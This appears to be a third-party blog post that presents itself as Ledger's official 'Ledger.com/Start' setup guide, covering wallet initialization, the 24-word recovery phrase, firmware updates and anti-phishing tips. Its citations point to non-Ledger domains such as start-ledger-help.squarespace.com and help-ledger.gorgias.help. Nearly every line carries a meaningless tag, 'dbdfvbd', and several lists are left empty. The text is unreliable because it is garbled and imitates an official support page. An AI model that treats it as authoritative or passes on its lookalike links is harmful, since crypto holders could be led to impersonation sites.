Ledger.com/Start® | Getting started — Ledger Support

stveejohn

— 5 min read

Ledger.com/Start® is the official onboarding portal provided by Ledger to help users securely initialize their hardware wallets, install companion software, and begin managing cryptocurrency assets safely and confidently. This guide walks you through every step—from unboxing your device to advanced features like staking, swapping, and Web3 integration—all based on official Ledger setup practices. start-ledger-help.squarespace.com+1

1. Why Ledger.com/Start® Matters

Ledger.com/Start® is not just a random landing page—it’s a security‑focused platform designed to protect you from scams and phishing attacks, ensure that you download authentic software, and guide you through the secure setup process. Because crypto hardware wallets handle your private keys (the keys to your funds), following the official process matters immensely. dbdfvbd

Key Benefits

  • Official, verified downloads of Ledger Live and firmware. dbdfvbd
  • Step‑by‑step guided setup tailored to your specific device model. Ledger Start
  • Security warnings and best practices to avoid scams. dbdfvbd
  • Direct access to support, troubleshooting guides, and firmware updates. start-ledger-help.squarespace.com

2. What You Need Before You Start

Before beginning at Ledger.com/Start®, make sure you have:

Essential Items

  • A new Ledger hardware wallet (such as Nano S Plus, Nano X, or Stax). Ledger Start
  • A computer or mobile device (Windows, macOS, Linux, Android, or iOS). dbdfvbd
  • The USB cable included with the device (or Bluetooth for Nano X). start-ledger-help.squarespace.com
  • A secure, private space to write down your recovery phrase. dbdfvbd
  • A modern web browser to access Ledger.com/Start®. dbdfvbd

3. Step‑by‑Step Setup at Ledger.com/Start®

Step 1 — Visit the Official Page

Open your web browser and carefully type:

https://www.ledger.com/start

Avoid clicking on links in emails or social media because scammers frequently send fake links that look like Ledger. dbdfvbd

Tip: You may want to bookmark the link after confirming it’s legitimate. dbdfvbd

Step 2 — Download Ledger Live

Once on the official setup page, download Ledger Live, the companion app that lets you manage your wallet, check balances, send/receive crypto, install blockchain apps, and update firmware. dbdfvbd

Ledger Live is available for:

Security Tip: Only download Ledger Live from Ledger.com/Start® or official app stores. Do not download it from third‑party sites or pop‑ups. dbdfvbd

Step 3 — Unbox and Connect Your Device

Open the Ledger box and confirm that:

If anything seems off, contact Ledger Support immediately. start-ledger-help.squarespace.com

Connect your Ledger wallet to your computer using the USB cable (or Bluetooth for Nano X). start-ledger-help.squarespace.com

Step 4 — Initialize Your Device

Once connected, follow the on‑screen instructions on the ledger hardware screen:

  1. Select “Set up as a new device.” Ledger Start
  2. Choose a PIN code (4‑8 digits). Ledger Start
  3. Confirm the PIN by entering it again. Ledger Start

A PIN prevents unauthorized physical access. Choose something memorable but secure. Ledger Start

Step 5 — Write Down Your 24‑Word Recovery Phrase

This is absolutely the most important step in setting up your hardware wallet:

  • The device will display a 24‑word recovery phrase (seed). dbdfvbd
  • Write them down carefully on the provided recovery sheet in the correct order. dbdfvbd
  • Never take a photo or store them digitally. dbdfvbd

This phrase is your backup and the only way to restore access to your funds if the device is lost, stolen, or damaged. dbdfvbd

Never share your seed with anyone. Ledger support or authorized staff will never ask for it. dbdfvbd

Step 6 — Confirm Your Recovery Phrase

Ledger Live will ask you to confirm your phrase by selecting specific words from the 24‑word list to ensure you wrote them correctly. dbdfvbd

This verification step is crucial to prevent setup mistakes.

Step 7 — Install Firmware Updates

After successful initialization:

  • Ledger Live will often prompt you to update your firmware. dbdfvbd
  • Accept and install updates through Ledger Live.
  • Firmware updates help keep your device secure and fix known issues. dbdfvbd

Step 8 — Install Blockchain Apps and Add Accounts

Each supported cryptocurrency requires an app installed on your Ledger device:

  1. Go to Manager in Ledger Live. dbdfvbd
  2. Search for the app you want (e.g., Bitcoin, Ethereum). dbdfvbd
  3. Install the app on your Ledger device. dbdfvbd
  4. Once installed, add accounts:
    • Go to Accounts ➝ Add account
    • Choose the crypto and confirm on your device. dbdfvbd

Ledger supports thousands of crypto assets through Ledger Live. help-ledger.gorgias.help

4. Essential Security Best Practices

Ledger’s security model is designed so that private keys are stored offline on the device’s secure chip—never exposed to the internet. dbdfvbd

Here’s how to keep your assets safe:

Protect Your Recovery Phrase

  • Store it offline in a safe place. dbdfvbd
  • Use durable storage (like metal backup plates) to protect against fire and water. start-ledger-help.squarespace.com
  • Consider storing multiple copies in geographically separate secure locations. dbdfvbd

Beware of Phishing and Scams

  • Always verify you are on ledger.com/start. dbdfvbd
  • Never enter your recovery phrase into any website or app. dbdfvbd
  • Ledger support will never request your 24‑word seed. dbdfvbd

Device and Software Updates

  • Regularly check Ledger Live for firmware and app updates. dbdfvbd
  • Updates often include security enhancements. dbdfvbd

5. Using Ledger Live — Your Control Center

Once setup is complete, Ledger Live becomes the central place to:

Every transaction you initiate in Ledger Live must be confirmed physically on the Ledger device, which significantly reduces the risk of unauthorized operations. dbdfvbd

6. Advanced Features & Options

Optional Passphrase

For users who want extra privacy, Ledger devices support an optional passphrase that creates a hidden wallet. This adds complexity but enhances security for advanced users. dbdfvbd

Multisignature (Multisig)

Ledger devices can be used as one signer in multisig setups (with other wallets) for enterprise or high‑security use cases. This requires external software and careful configuration. dbdfvbd

7. Troubleshooting Common Issues

Even well‑prepared users may run into minor issues. Here are solutions to typical problems:

Ledger Live Does Not Detect Device

  • Use the original USB cable and a different USB port. dbdfvbd
  • Make sure the device is unlocked before Ledger Live starts. dbdfvbd

Firmware Update Fails

  • Keep the device connected and follow Ledger Live’s recovery instructions. dbdfvbd

Lost Recovery Phrase

If lost, you cannot recover funds unless you have a copy. There is no customer service that can retrieve it for you. Keep backups safe. dbdfvbd

8. Final Tips Before You Transfer Funds

  • Test with a small amount first to ensure everything is working correctly. dbdfvbd
  • Double‑check addresses on your Ledger device screen before confirming transactions. dbdfvbd
  • Keep Ledger Live and firmware fully updated. dbdfvbd
  • Stay informed about potential phishing and scam tactics. dbdfvbd

9. Summary: Start Secure, Stay Secure

Starting your Ledger journey through Ledger.com/Start® ensures:

✔️ You use authentic and secure software. dbdfvbd
✔️ Your wallet is initialized safely and correctly. Ledger Start
✔️ Your assets are protected by Ledger’s industry‑leading security model. dbdfvbd
✔️ Your private keys remain offline and under your control. dbdfvbd

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